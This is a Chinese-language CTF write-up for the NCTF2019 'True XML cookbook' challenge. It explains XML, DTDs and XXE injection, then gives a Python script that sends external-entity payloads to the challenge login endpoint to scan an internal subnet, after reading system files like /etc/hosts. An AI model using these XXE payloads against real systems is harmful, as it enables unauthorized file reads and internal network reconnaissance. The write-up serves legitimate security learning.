[NCTF2019]True XML cookbook

image-20240530221915999

要长脑子了好像在哪里见过

孩子们我回来了是吧

好好好

和上一题差不多的话先抓包

image-20240530222006950

之后是实体化注入

实体化注入

XXE(XML External Entity Injection)全称为XML外部实体注入。

XML是什么?
XML指可扩展标记语言(EXtensible Markup Language),其设计宗旨是传输数据,而不是显示数据,用来结构化、存储以及传输信息,它没有预定义的标签。XML 和 HTML 之间的差异是什么?

设计目的不同:XML 被设计用来传输和存储数据,其焦点是数据的内容。HTML 被设计用来显示数据,其焦点是数据的外观。HTML 旨在显示信息,而 XML 旨在传输信息。

总的来说:我们希望能在计算机中保存和处理这些数据的同时能够保存和处理他们之间的关系。XML就是为了解决这样的需求而产生数据存储格式。

XML基本格式与基本语法:
基本格式:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>               <!--xml文件的声明-->

<bookstore> <!--根元素-->

<book category="COOKING"> <!--bookstore的子元素,category为属性-->

<title>Everyday Italian</title> <!--book的子元素,lang为属性-->

<author>Giada De Laurentiis</author> <!--book的子元素-->

<year>2005</year> <!--book的子元素-->

<price>30.00</price> <!--book的子元素-->

</book> <!--book的结束-->

</bookstore> <!--bookstore的结束-->

称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。

standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。

基本语法:
所有 XML 元素都须有关闭标签。
XML 标签对大小写敏感。
XML 必须正确地嵌套。
XML 文档必须有根元素。
XML 的属性值须加引号。
什么是DTO?
DTD基本概念
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的。
DTD用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。

实体引用
XML元素以形如 foo 的标签开始和结束,如果元素内部出现如< 的特殊字符,解析就会失败,为了避免这种情况,XML用实体引用(entity reference)替换特殊字符。XML预定义五个实体引用,即用< > & ' " 替换 < > & ‘ “ 。
实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为 Document Type Defination(DTD,文档类型定义)的过程中进行。

这道题就不从错误尝试开始了

直接从正解开始吧

探测内网信息,读取下系统内的配置文件信息看是否能发现有用的信息,包含:/etc/hosts、/proc/net/arp、proc/net/fib_trie等

我们读取关键文件:

image-20240530222507318

image-20240530222516481

对80.后面的174三位进行爆破

即查询下同网段内存在不存在其他地址

爆破脚本如下(因为我bp用不来)

import requests as res
url="http://46a0cc5d-9c92-4497-b08a-7b24717759ad.node5.buuoj.cn:81/doLogin.php"
rawPayload='<?xml version="1.0"?>'\
'<!DOCTYPE user ['\
'<!ENTITY payload1 SYSTEM "http://10.244.80.{}">'\
']>'\
'<user>'\
'<username>'\
'&payload1;'\
'</username>'\
'<password>'\
'23'\
'</password>'\
'</user>'
for i in range(1,256):
payload=rawPayload.format(i)
#payload=rawPayload
print(str("#{} =>").format(i),end='')
try:
resp=res.post(url,data=payload,timeout=0.5)
except:
continue
else:
print(resp.text,end='')
finally:
print('')

最后找到网址和flag!